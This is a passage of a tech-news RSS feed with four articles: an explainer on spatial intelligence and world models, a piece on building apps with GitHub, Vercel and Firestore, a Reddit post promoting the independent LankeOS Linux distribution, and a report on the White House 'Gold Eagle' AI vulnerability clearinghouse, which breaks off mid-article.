</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The rise of spatial intelligence and world models]]></title>
<description><![CDATA[It’s been several years since generative AI and large language models (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while diffusion models enabled generating images, music, and videos.



These generative AI models work well in the digital wor...]]></description>
<link>https://tsecurity.de/de/3671159/ai-nachrichten/the-rise-of-spatial-intelligence-and-world-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671159/ai-nachrichten/the-rise-of-spatial-intelligence-and-world-models/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">It’s been several years since <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a> and <a href="https://www.understandingai.org/p/large-language-models-explained-with">large language models</a> (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while <a href="https://www.technologyreview.com/2025/09/12/1123562/how-do-ai-models-generate-videos/">diffusion models</a> enabled generating images, music, and videos.</p>



<p class="wp-block-paragraph">These generative AI models work well in the digital world, but on their own, they have limited capabilities to comprehend the three-dimensional physical world and other spaces. This includes the objects occupying an area, how they relate to each other, tracking movement, and answering complex questions requiring an understanding of dimensions, distances, motion, and collisions.</p>



<p class="wp-block-paragraph">Spatial intelligence is an AI capability that allows models to reason about three-dimensional space. These models can generate 3D scenes of the world and other spaces. This content can then be displayed through traditional renderers, game engines, or AR/VR systems that use <a href="https://builtin.com/hardware/spatial-computing">spatial computing</a> techniques. But it’s the spatial intelligence model’s ability to connect natural language with 3D models that has the most applications in robotics, manufacturing, construction, and other physical environments.   </p>



<p class="wp-block-paragraph">Dr. Fei-Fei Li, often called the <a href="https://profiles.stanford.edu/fei-fei-li">godmother of AI</a>, published a manifesto on <a href="https://drfeifei.substack.com/p/from-words-to-worlds-spatial-intelligence">how spatial intelligence is AI’s next frontier</a>, contrasting it with LLMs. “While current state-of-the-art AI can excel at reading, writing, research, and pattern recognition in data, these same models bear fundamental limitations when representing or interacting with the physical world,” wrote Dr. Li. “Our view of the world is holistic—not just what we’re looking at, but how everything relates spatially, what it means, and why it matters. Understanding this through imagination, reasoning, creation, and interaction—not just descriptions—is the power of spatial intelligence.”</p>



<p class="wp-block-paragraph">The concept of spatial intelligence isn’t new and was described in Howard Gardner’s book, <em><a href="https://www.amazon.com/Frames-Mind-Theory-Multiple-Intelligences-ebook/dp/B004MYFV0E/">Frames of Mind</a></em>, in 1983. Recent breakthroughs, including the launch of <a href="https://marble.worldlabs.ai/">World Labs’ Marble</a> and its <a href="https://www.worldlabs.ai/blog/funding-2026">$1 billion funding round</a>, and competing approaches from <a href="https://deepmind.google/models/genie/">Google’s Genie 3</a> and <a href="https://www.nvidia.com/en-us/ai/cosmos/">Nvidia Cosmos</a>, should put spatial intelligence and world models on more R&amp;D road maps.</p>



<h2 class="wp-block-heading">What are spatial intelligence models?</h2>



<p class="wp-block-paragraph">It’s important to <a href="https://drive.starcio.com/2026/02/ai-literacy-a-leadership-guide/">develop AI literacy</a> and understand the terminology and concepts related to the physical world and 3D AI technologies: </p>



<ul class="wp-block-list">
<li>Spatial intelligence encompasses specialized approaches such as <a href="https://science.nasa.gov/science-research/ai-foundation-model-in-orbit/">geospatial models</a> for mapping the physical world and <a href="https://link.springer.com/article/10.1007/s44290-025-00342-5">building information modeling</a> (BIM) for modeling physical structures. It also extends to generative 3D, robotics, and physical reasoning applications.</li>



<li>World models are a class of <a href="https://www.ibm.com/think/topics/neural-networks">neural network architectures</a> and are currently a prominent approach to building spatial intelligence.</li>



<li><a href="https://www.infoworld.com/article/3693092/7-steps-to-take-before-developing-digital-twins.html">Digital twins</a> are live, virtual replicas of physical assets that combine 3D models with real-time sensor data. Spatial intelligence, an emerging capability of digital twins, adds natural-language prompting, generative scenario exploration, and physics-aware reasoning.</li>



<li><a href="https://treeview.studio/blog/top-examples-of-spatial-computing">Spatial computing</a> refers to digital content anchored in and interacting with physical space, sensed and rendered in three dimensions and delivered through AR/VR and mixed-reality systems.</li>
</ul>



<p class="wp-block-paragraph">“Spatial intelligence models go beyond pixels to understand the 3D structure of the world—how objects are positioned, how they move, and how they interact,” says David Fattal, founder and CTO at <a href="https://immersity.ai/">Leia</a>. “This enables applications like more realistic video generation, spatial computing interfaces, and AI systems that can reason about physical environments. As real-world 3D data becomes more available, these models will become foundational to the next generation of visual AI.”</p>



<h2 class="wp-block-heading">Monitoring the built environment</h2>



<p class="wp-block-paragraph">To better understand spatial intelligence, let’s consider physical infrastructure such as bridges and buildings. The American Society of Civil Engineers <a href="https://www.enr.com/articles/62214-infrastructure-gains-in-new-asce-report-cardbut-progress-hinges-on-post-2026-funds">estimates a $9.1 trillion investment</a> is needed from 2024 through 2033 to achieve a state of good repair. When maintenance and monitoring lag, it can lead to major failures such as <a href="https://www.ntsb.gov/news/press-releases/Pages/NR20240221.aspx">the 2022 collapse of the Fern Hollow Bridge in Pittsburgh</a>.</p>



<p class="wp-block-paragraph">Spatial intelligence and the development of digital twins may help identify issues earlier and prioritize where investments are needed. “Spatial intelligence models serve as the 4D digital blueprints for our built environment, allowing us to visualize and predict the complex interactions between aging assets and the shifting ground beneath them,” says Patrick Cozzi, chief platform officer at <a href="https://www.bentley.com/">Bentley Systems</a>. “By synthesizing disparate geospatial data into a living digital twin, these models provide the foresight necessary to mitigate the hidden risks of structural fatigue and subsurface instability.”</p>



<p class="wp-block-paragraph">There’s a significant challenge in <a href="https://www.mdpi.com/1424-8220/21/13/4336">bridge health monitoring</a> and transitioning from manual, infrequent structural inspections to leveraging sensors, digital twins, and spatial intelligence. Cozzi adds, “This integration of continuous field data moves beyond static documentation, empowering agencies to evolve from reactive repairs to proactive, resilient asset management that safeguards the long-term integrity of our most critical public systems.”</p>



<h2 class="wp-block-heading">Avoiding collisions</h2>



<p class="wp-block-paragraph">Bridges are largely static, but the real world is increasingly being occupied by autonomous systems such as self-driving cars, robots, and drones. And where there are moving systems, there is a risk of collisions.</p>



<p class="wp-block-paragraph">“Spatial intelligence models are AI systems that reason about the physical world by combining vision, sensor data, and contextual cues to understand space, motion, and object relationships,” says Sudeep George, CTO at <a href="https://imerit.net/">iMerit</a>. “The value of spatial intelligence models lies not just in perceiving an environment, but in enabling machines to act within it safely and in real time. That is especially important in robotics and autonomous systems, where decisions must be made in complex, multimodal, fast-changing settings.”</p>



<p class="wp-block-paragraph">To see one example, this tutorial for <a href="https://developer.nvidia.com/blog/simulate-robotic-environments-faster-with-nvidia-isaac-sim-and-world-labs-marble">simulating robotic environments</a> combines <a href="https://developer.nvidia.com/isaac/sim?size=n_6_n&amp;sort-field=featured&amp;sort-direction=desc">Nvidia Isaac Sim</a>, an open source robotics reference framework, with spatial intelligence in Marble from World Labs. </p>



<p class="wp-block-paragraph">Today’s collision detection systems, such as <a href="https://arxiv.org/html/2508.20892v1">those used in autonomous vehicles</a>, typically rely on modules for sensing, perception, planning, and control. Spatial intelligence models may offer improvements by assessing the collision risks of unidentified objects or by tracking objects that move out of sensor view. For example, <a href="https://waymo.com/blog/2026/02/the-waymo-world-model-a-new-frontier-for-autonomous-driving-simulation/">Waymo’s World Model</a>, built on Genie 3, is a simulator that generates complex weather conditions and other critical safety events.</p>



<p class="wp-block-paragraph">For an out-of-this-world example, James Urquhart, field CTO and technology evangelist at <a href="https://www.kamiwaza.ai/">Kamiwaza</a>, has delivered several examples of spatial intelligence applications, including one for satellite collision detection and conflict analysis. Urquhart says, “Models that specialize in these types of data sets, as well as the physics and geography of the real world, enable faster and more accurate decision-making for tasks that depend on them.”</p>



<h2 class="wp-block-heading">Applying spatial intelligence</h2>



<p class="wp-block-paragraph">Recent spatial intelligence announcements include creating 3D worlds from image or text prompts with <a href="https://www.worldlabs.ai/blog/marble-world-model">Marble</a> and simulating water physics, lighting, weather, and animal behavior with <a href="https://wavespeed.ai/blog/posts/google-deepmind-genie-3-world-model-2026/">Genie 3</a>. But difficulties remain in bringing spatial intelligence to physical-world use cases.</p>



<p class="wp-block-paragraph">“Spatial intelligence and world models are laying the groundwork for future AI agents that will be able to interact in and with our physical world,” says Jason Corso, cofounder and chief scientist at <a href="https://voxel51.com/">Voxel51</a>. “These models are significantly more challenging to develop and test, largely because the data underlying their development is complex, and it’s hard to handle all of the combinatorics involved in the physical world.”</p>



<p class="wp-block-paragraph">In addition to learning the models and prototyping with them, development and data leaders need to review the data assets that will feed spatial intelligence models. “Spatial intelligence models translate location signals into a structured understanding of the real world, but they’re only as reliable as the data beneath them,” says Dan Adams, executive vice president and general manager of Enrich at <a href="https://www.precisely.com/">Precisely</a>. “The real unlock isn’t the model—it’s the reference layer with persistent identifiers, confidence metadata, and source lineage that lets AI reason about places, not just match strings.”</p>



<p class="wp-block-paragraph">Even once applications are developed, there will be infrastructure challenges in deploying them at the edge. Ali Kayyam, principal research scientist at <a href="https://brainchip.com/">BrainChip</a>, says, “The key to unlocking spatial intelligence at scale is having the low-power, event-driven hardware that can run it at the sensor in real time where it matters most.”</p>



<h2 class="wp-block-heading">Where to get started</h2>



<p class="wp-block-paragraph">My suggestions for developers looking to get hands-on with spatial intelligence and world models:</p>



<ul class="wp-block-list">
<li>To try out Marble, review their <a href="https://docs.worldlabs.ai/api">API documentation</a> and <a href="https://www.worldlabs.ai/labs">case studies</a>, and then experiment with a <a href="https://github.com/willemhelmet/marble-api-quickstart">developer-focused React application</a>.</li>



<li>Review the Nvidia Cosmos <a href="https://developer.nvidia.com/cosmos">developer hub</a>, <a href="https://docs.nvidia.com/cosmos/latest/introduction.html">documentation</a>, and <a href="https://nvidia-cosmos.github.io/cosmos-cookbook/">cookbook</a> of case studies and learning paths.</li>



<li>You can get an overview of Genie 3, but access is currently restricted through Project Genie, which requires a <a href="https://gemini.google/subscriptions/">Google AI Ultra subscription</a>.</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ship faster with GitHub, Vercel, and Firestore]]></title>
<description><![CDATA[These days, application developers can take their pick from a vast menu of architectural solutions. We can choose from the well-understood to the experimental, and from blended solutions in between. Several powerful middle-ground technologies that emerged during the cloud revolution have really c...]]></description>
<link>https://tsecurity.de/de/3671151/ai-nachrichten/ship-faster-with-github-vercel-and-firestore/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671151/ai-nachrichten/ship-faster-with-github-vercel-and-firestore/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:19 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">These days, application developers can take their pick from a vast menu of architectural solutions. We can choose from the well-understood to the experimental, and from blended solutions in between. Several powerful middle-ground technologies that emerged during the cloud revolution have really come of age. Here we’ll take a look at putting together three of the most impressive: GitHub, Vercel, and Firestore.</p>



<p class="wp-block-paragraph">Each of these is an important tool in its own right that can be used to attack specific problems. In combination, they not only meet the needs of several important application scenarios, but they have a superpower—the ability to dramatically shorten the distance between development and deployment.</p>



<p class="wp-block-paragraph">There is nothing quite as gratifying as putting your hands on just the right mix of tools for a given need.</p>



<h2 class="wp-block-heading">A ‘no-ops’ stack built for speed</h2>



<p class="wp-block-paragraph">If your primary goal is sheer development velocity, you would be hard-pressed to top this architecture. This “no-ops” stack collapses the distance between your local IDE and a globally distributed production environment. You are essentially trading the overhead of managing VMs and load balancers for the sheer speed of committing code and watching it deploy automatically.</p>



<p class="wp-block-paragraph">While each component is highly flexible, adopting them requires a specific, event-driven mindset. There are a few finicky bits to manage, mostly around routing environment variables securely and designing around stateless back-end functions. But the constraints are obvious and well-documented.</p>



<p class="wp-block-paragraph">Before we look more closely, let’s quickly identify the kinds of apps that are a perfect fit here, along with those that are workable and those that really merit a different approach.</p>



<ul class="wp-block-list">
<li>The sweet spot (deploy and go): AI-mediated applications, asynchronous game back ends, and real-time collaborative B2B dashboards. This architecture perfectly absorbs the unpredictable latency of LLM APIs and instantly syncs state across multiple clients without requiring you to build custom WebSocket infrastructure.</li>



<li>The middle ground (workable, with trade-offs): Headless e-commerce, moderate IoT telemetry, and apps requiring scheduled batch processing. You will encounter friction if your catalog relies on deeply relational SQL constraints, or if your background reporting jobs take longer than a few minutes and hit serverless execution limits.</li>



<li>The danger zone (look elsewhere): High-frequency trading, fast-paced action multiplayer games, heavy data ETL pipelines, and core financial ledgers. Serverless architectures cannot natively hold open the persistent WebSockets required for twitch-reflex data, and heavy compute tasks will abruptly time out.</li>
</ul>



<p class="wp-block-paragraph">We should mention that these categories are not mutually exclusive. Many enterprise applications, such as a full-scale e-commerce platform, straddle these lines. You might use Vercel and Firestore to build a lightning-fast, reactive storefront that handles ephemeral user state like shopping carts, while simultaneously “stitching in” a managed SQL database like Supabase or PlanetScale. This hybrid approach allows you to maintain the relational integrity required for back-office inventory and financial ledgers and pair it with the front-end velocity this stack provides.</p>



<h2 class="wp-block-heading">GitHub: the bedrock</h2>



<p class="wp-block-paragraph">I don’t need to introduce you to <a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html" data-type="link" data-id="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub</a>. It is a central element of the development landscape. I still remember CVS and SVN with a certain nostalgia, but the enhancements of <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html" data-type="link" data-id="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git</a> speak for themselves. When combined with the orchestration powers of GitHub, it is no wonder that virtually the whole industry has adopted this type of platform.</p>



<p class="wp-block-paragraph">Git plus GitHub gives you an enormous amount of power already, in terms of how you can organize and automate your projects. But there is a next-level experience in combining GitHub and Vercel. For <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html" data-type="link" data-id="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a>-based projects, you can take simple GitHub pushes and turn them into instantly deployed clients and serverless functions. It is one of the cleanest and least fiddly ways to move from raw code on your local machine to a globally deployed, full-stack architecture.</p>



<h2 class="wp-block-heading">Vercel: the nexus</h2>



<p class="wp-block-paragraph">Vercel is more than just a deployment host. It is a control plane that ties this high-velocity, no-ops architecture together. Alongside GitHub and Firestore, Vercel’s deeper strength is its ability to act as an orchestration layer between your reactive front end and external stateful services.</p>



<p class="wp-block-paragraph">Vercel has a great amount of facility in fine-tuning what branches go to what environment and helpful features like instant rollback. You can just log into Vercel’s dashboard for your project and see the history of deployments and any errors and logs. It’s a simple menu choice to roll back to a historical version or compare one version against another.</p>



<p class="wp-block-paragraph">When you “stitch in” third-party services (such as a managed SQL database like <a href="https://www.infoworld.com/article/4168581/developing-local-first-apps-with-react-supabase-and-powersync.html" data-type="link" data-id="https://www.infoworld.com/article/4168581/developing-local-first-apps-with-react-supabase-and-powersync.html">Supabase</a> or a payment processor like Stripe), Vercel’s serverless functions become the lightweight interface, and Vercel’s the adapters handle the communication. You offload the integration logic (the service layer) to Vercel’s global Edge Network, keeping your UI and back end clean, responsive, and decoupled. </p>



<p class="wp-block-paragraph">In short, Vercel allows you to get the speed of the “no-ops” development life cycle without sacrificing the complex transactional integrity required for some applications like enterprise inventory systems. </p>



<h2 class="wp-block-heading">Firestore: the datastore</h2>



<p class="wp-block-paragraph">Firestore is an extremely lightweight, NoSQL, cloud datastore. It has a great deal of add-on power, but its core value proposition is that it accepts virtually any data you stuff into it and it provides event-driven subscriptions to data changes.</p>



<p class="wp-block-paragraph">These two capabilities together make Firestore about as straightforward a solution to a managed back end as you can imagine. You subscribe to collections or even fields and then you simply stick “unstructured” data (read: JSON with variable fields) in and the client waits for the changes it is interested in.</p>



<p class="wp-block-paragraph">This is so streamlined that one can just point the browser (or native mobile app) directly at Firestore and listen for events. Which immediately raises the question of identity, for auth and for data visibility, but hold on—Firestore’s third superpower is that it has an authentication module <em>that actually works. </em>What I mean is, it is actually pretty simple and yet confidently secures your app.</p>



<p class="wp-block-paragraph">Sometimes auth solutions seem either too simple (and yet opaque) or too mired in the nitty gritty. <a href="https://docs.cloud.google.com/firestore/native/docs/authentication" data-type="link" data-id="https://docs.cloud.google.com/firestore/native/docs/authentication">Firestore auth</a> will let you do some basic configuration and start using a reasonable auth almost immediately. </p>



<p class="wp-block-paragraph">Not to belabor the point, but having a realistic and attainable auth solution elevates your stack to a production grade—one that can handle many real-world applications. Firestore auth plays nicely with other important APIs, like Stripe. Typically, auth is a major feature that feels like off-roading in a Honda Civic, but Firestore’s approach to auth, <em>added to this particular stack</em>, feels like a normal speed bump. It’s just another component you plug in, rather than a tentacled alien you weave into the your code.</p>



<h2 class="wp-block-heading">The limits of the velocity stack</h2>



<p class="wp-block-paragraph">This architecture combines components that are optimized for flexibility. That same character also introduces distinct limitations. Understanding these is essential before committing production workloads.</p>



<h3 class="wp-block-heading">The serverless life cycle</h3>



<p class="wp-block-paragraph">Serverless functions are spun up to handle requests. They close out soon afterward and lose any state. For that reason, they cannot natively hold open persistent WebSockets. If your system requires continuous, sub-millisecond, bidirectional streams—like a real-time multiplayer action game or a high-frequency trading dashboard—pure serverless will fight you all the way. You are forced to introduce a third-party managed WebSocket service to route messages back to your stateless endpoints via HTTP webhooks.</p>



<h3 class="wp-block-heading">The execution time ceiling</h3>



<p class="wp-block-paragraph">Vercel (like all serverless platforms) enforces strict timeouts on operations. While enterprise tiers might grant you up to 15 minutes, standard functions often time out after 10 to 60 seconds. Long-running tasks like video transcoding, database scripts, or orchestrating multi-step AI agent workflows, which might take 20 minutes to resolve, will run up against these limits. Heavy-lifting tasks must be offloaded to a dedicated, long-running service like Google Cloud Run, or broken into smaller, asynchronous chunks via message queues.</p>



<h3 class="wp-block-heading">The cold start reality</h3>



<p class="wp-block-paragraph">While the industry has made massive strides in minimizing initialization times—particularly with lightweight edge networks—traditional Node.js-based serverless functions still experience cold starts. If a function has not been invoked recently, or if traffic spikes require a new instance to spin up concurrently, the first request will take a noticeable latency hit as the container provisions and the code loads.</p>



<h3 class="wp-block-heading">API instead of RAM</h3>



<p class="wp-block-paragraph">In a traditional server environment, you can store transient data in global RAM, allowing subsequent requests to access shared context instantly. In the serverless model, every request might hit a fresh container. Therefore, <em>all</em> shared context must be externalized. Although Firestore serves brilliantly as the state manager, relying on a database for high-frequency, sub-millisecond, ephemeral caching introduces network latency and per-operation costs. That said, using a shared RAM state on a server is non-trivial also, unless you are using a single app server and VM (because high-availability or fail-over requirements will lessen the RAM win on a traditional server).</p>



<h2 class="wp-block-heading">Tuning for velocity and control</h2>



<p class="wp-block-paragraph">Every architectural decision is a trade-off. There are no cost-free choices. By adopting the GitHub, Vercel, and Firestore stack, you are explicitly maximizing feature velocity over fine-grained control.</p>



<p class="wp-block-paragraph">You lose the ability to tweak the underlying operating system, hold open persistent sockets, or run hour-long back-end scripts. In exchange, you gain an architecture that scales from zero to global distribution instantly, requires virtually no devops maintenance, and perfectly absorbs the asynchronous, event-driven realities of modern application development.</p>



<p class="wp-block-paragraph">For the right application—whether it is a fast-moving prototype or an enterprise AI copilot—this stack doesn’t just save time; it fundamentally changes how quickly a small team (or a single person) can impact the market. You stop worrying about build chains, load balancers, and server patches, and you focus on the central mission: shipping features.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[LankeOS — A fully independent Linux distro built from scratch with a custom C++20 atomic package manager, Linux 7.1.1, and pure Wayland. Come vote for it on DistroWatch!]]></title>
<description><![CDATA[Hi everyone, I’ve been working on a fully independent Linux distribution for the past 5 months – no Debian/Arch/Fedora base, everything built from upstream source using my own toolchain. Now I think it brings something genuinely new to the table. Here is LankeOS, a fully independent Linux distrib...]]></description>
<link>https://tsecurity.de/de/3670775/linux-tipps/lankeos-a-fully-independent-linux-distro-built-from-scratch-with-a-custom-c-20-atomic-package-manager-linux-711-and-pure-wayland-come-vote-for-it-on-distrowatch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670775/linux-tipps/lankeos-a-fully-independent-linux-distro-built-from-scratch-with-a-custom-c-20-atomic-package-manager-linux-711-and-pure-wayland-come-vote-for-it-on-distrowatch/</guid>
<pubDate>Wed, 15 Jul 2026 15:11:50 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hi everyone,</p> <p>I’ve been working on a fully independent Linux distribution for the past 5 months – no Debian/Arch/Fedora base, everything built from upstream source using my own toolchain.</p> <p>Now I think it brings something genuinely new to the table.</p> <p>Here is LankeOS, a fully independent Linux distribution built from scratch by a solo developer. If you're tired of "just another Ubuntu/Debian/Arch derivative," this one is genuinely different.</p> <p>What makes LankeOS special</p> <ol> <li>Custom package manager — lpkg (written in C++20)</li> </ol> <p>This is the centerpiece. lpkg is a from-scratch package manager with a WAL atomic transaction system — meaning it can survive power loss mid-install without breaking your system. It includes:</p> <p>- ELF DT_NEEDED verification — validates every shared library dependency against the repo before installing. No "missing .so" surprises.</p> <p>- Ctrl+C handling — the signal waits for current operation + rollback.</p> <p>- 410+ regression tests — including simulated power-loss recovery scenarios.</p> <p>- Aggregated index format — compact single-file index with all version/hash/dep info per package.</p> <p>- Static build support — one binary, runs anywhere.</p> <p>- Package transaction system with WAL-based logging, atomic commit, and rollback support — bringing database-style reliability to traditional mutable Linux package management.</p> <p>- .lpkg format = tar.zst + embedded metadata.json + content/ + hooks/</p> <ol> <li>Not a derivative — built from LFS methodology</li> </ol> <p>LankeOS is not based on Debian, Arch, Fedora, or any existing distro. Every one of its 284 packages is built from upstream source using its own LankeBUILD system. This is a true independent distribution.</p> <p>It supports modern hardware and runs perfectly on my Dell OptiPlex 5000 Micro.</p> <ol> <li>Modern (bleeding edge) software stack</li> </ol> <p>- Linux Kernel 7.1.1</p> <p>- GCC 16.1.1, LLVM/Clang 22.1, glibc 2.42</p> <p>- systemd 257.8</p> <p>- Wayland desktop via niri</p> <p>- PipeWire audio stack, Mesa graphics</p> <p>- Firefox, WebKitGTK, GTK3/4</p> <p>- OpenJDK 25, Node.js, Go, Rust 1.96, Ruby 4.0, Python 3 out of the box</p> <p>- mihomo proxy, fcitx5 Chinese input with CJK fonts</p> <ol> <li>Incredibly lean and fast</li> </ol> <p>- ~4 second boot from power-on to desktop in qemu</p> <p>- Runs on as little as 400-500 MiB RAM</p> <p>- toram kernel parameter copies the entire system to RAM for fully disk-less operation</p> <p>- OverlayFS-based persistent storage via LABEL=LANKE_DATA partition</p> <ol> <li>Smart initramfs with version-aware upgrades</li> </ol> <p>The init script detects version mismatches between the base file and the upper paritition, automatically enters a "live upgrade mode," and notifies the user. Built-in installer (lanke_install) handles GPT formatting, copying, and GRUB setup in one guided flow.</p> <p>Why LankeOS?</p> <p>LankeOS is built around three principles:</p> <p>### 1. Engineering first</p> <p>Instead of focusing on visual customization or superficial changes, LankeOS focuses on the underlying engineering of a Linux distribution.</p> <p>It provides its own:</p> <p>- build system (LankeBUILD)</p> <p>- package manager (lpkg)</p> <p>- package format</p> <p>- repository infrastructure</p> <p>- init and upgrade logic</p> <p>Every component exists because it solves a real system engineering problem.</p> <p>### 2. High technical density</p> <p>LankeOS aims to provide a complete development and daily-use environment while keeping the system lightweight.</p> <p>A single installation image includes:</p> <p>- complete C/C++/Rust/Python/Go/Java development toolchains</p> <p>- modern graphics stack (Wayland, Mesa, Vulkan)</p> <p>- multimedia support (PipeWire, FFmpeg)</p> <p>- desktop applications (Firefox, mpv, etc.)</p> <p>- package management and system development tools</p> <p>The goal is not to minimize the number of packages, but to maximize the amount of usable capability per byte.</p> <p>### 3. Stability through controlled complexity</p> <p>Although LankeOS follows a rolling-release model and uses recent upstream software, stability is achieved through strict integration testing.</p> <p>Every release is tested on real hardware, not only virtual machines.</p> <p>The development process includes:</p> <p>- reproducible package builds</p> <p>- dependency verification</p> <p>- regression tests</p> <p>- transaction-safe package operations</p> <p>- real hardware validation</p> <p>LankeOS is designed for users who want the flexibility of a lightweight distribution without sacrificing reliability.</p> <p>It is not another customized Linux image.</p> <p>It is an experiment in building a complete Linux distribution from the foundations up:</p> <p>a system where every layer can be understood, rebuilt, and improved.</p> <p>Links</p> <p>- GitHub: <a href="http://github.com/Wtada233/LankeOS">github.com/Wtada233/LankeOS</a></p> <p>- Package repo: <a href="http://lankerepo.wtada233.top/x86_64">lankerepo.wtada233.top/x86_64</a></p> <p>- Official site: <a href="http://lankeos.wtada233.top/">lankeos.wtada233.top</a></p> <p>- DistroWatch: <a href="https://distrowatch.com/dwres.php?waitingdistro=1104&amp;resource=links#new">https://distrowatch.com/dwres.php?waitingdistro=1104&amp;resource=links#new</a></p> <p>TL;DR: LankeOS is what happens when someone reads LFS anre distro around this" — with a crash-proof C++20 package</p> <p>manager, Linux 7.1.1, Wayland+Xwayland, 284 hand-built packages and a size of 1.24GiB. Go give it a vote on DistroWatch.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Wtada233"> /u/Wtada233 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uw5yab/lankeos_a_fully_independent_linux_distro_built/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uw5yab/lankeos_a_fully_independent_linux_distro_built/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[White House launches AI-driven vulnerability clearinghouse to speed cyber remediation]]></title>
<description><![CDATA[The White House is expanding the use of AI beyond cyber threat detection into vulnerability management, launching a new program that aims to help government agencies and critical infrastructure operators identify, prioritize, and remediate software vulnerabilities faster.



Called Gold Eagle, th...]]></description>
<link>https://tsecurity.de/de/3670755/it-security-nachrichten/white-house-launches-ai-driven-vulnerability-clearinghouse-to-speed-cyber-remediation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670755/it-security-nachrichten/white-house-launches-ai-driven-vulnerability-clearinghouse-to-speed-cyber-remediation/</guid>
<pubDate>Wed, 15 Jul 2026 15:09:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The White House is expanding the use of AI beyond cyber threat detection into vulnerability management, launching a new program that aims to help government agencies and critical infrastructure operators identify, prioritize, and remediate software vulnerabilities faster.</p>



<p class="wp-block-paragraph">Called Gold Eagle, the initiative will act as a centralized clearinghouse for cybersecurity vulnerabilities, coordinating vulnerability reporting, verification, and remediation across federal agencies, open-source software communities, and operators of critical infrastructure, the <a href="https://www.whitehouse.gov/releases/2026/07/white-house-launches-gold-eagle-initiative-for-unprecedented-cybersecurity-vulnerability-coordination/" target="_blank" rel="noreferrer noopener">White House said in a statement</a>.</p>



<p class="wp-block-paragraph">“This new model will leverage frontier AI capabilities to continue advancing faster than adversaries, reduce duplicative scanning efforts, and deliver prioritized and actionable threat and remediation information to defenders across the Federal government and the private sector,” the statement added.</p>



<p class="wp-block-paragraph">The initiative stems from President Donald Trump’s <a href="https://www.csoonline.com/article/4180205/trump-revives-parts-of-canceled-ai-order-with-cybersecurity-focused-directive.html?utm=hybrid_search">June 2 executive order</a> on advanced AI innovation and security, which directed federal agencies to expand the use of frontier AI to strengthen cybersecurity while working more closely with the private sector.</p>



<p class="wp-block-paragraph">The administration said the program has already begun receiving vulnerability reports from multiple industries and coordinating validation and remediation efforts.</p>



<p class="wp-block-paragraph">For enterprise security leaders, the announcement signals a government effort to move beyond traditional vulnerability disclosure toward coordinated vulnerability response.</p>



<h2 class="wp-block-heading">A move toward coordinated vulnerability response</h2>



<p class="wp-block-paragraph">Prabhjyot Kaur, senior analyst at Everest Group, said Gold Eagle should be viewed as “a significant evolution” of existing vulnerability disclosure and government-industry coordination mechanisms rather than a replacement for them.</p>



<p class="wp-block-paragraph">“Its potential significance lies in creating a more operational clearinghouse that can consolidate vulnerability findings, reduce duplicative scanning, validate exposure across sectors, and coordinate remediation with critical infrastructure operators and open-source software communities,” Kaur said.</p>



<p class="wp-block-paragraph">The more meaningful shift, she said, is from largely distributed vulnerability disclosure processes toward centralized prioritization and coordinated action. Whether the initiative changes enterprise vulnerability management, however, will depend on execution, including industry participation, information-sharing protocols, and whether it can shorten the time between vulnerability discovery, validation, and remediation.</p>



<p class="wp-block-paragraph">The White House said Gold Eagle has already begun receiving and prioritizing vulnerability reports from multiple industries, coordinating scanning verification, and supporting remediation efforts using existing federal authorities and resources.</p>



<h2 class="wp-block-heading">AI can accelerate prioritization, not replace judgment</h2>



<p class="wp-block-paragraph">The administration said the initiative is designed to help government and industry reduce duplicative vulnerability scanning and accelerate remediation by using AI to prioritize findings.</p>



<p class="wp-block-paragraph">Treasury Secretary Scott Bessent said the program reflects closer collaboration between the government and the private sector to protect financial institutions and other critical infrastructure.</p>



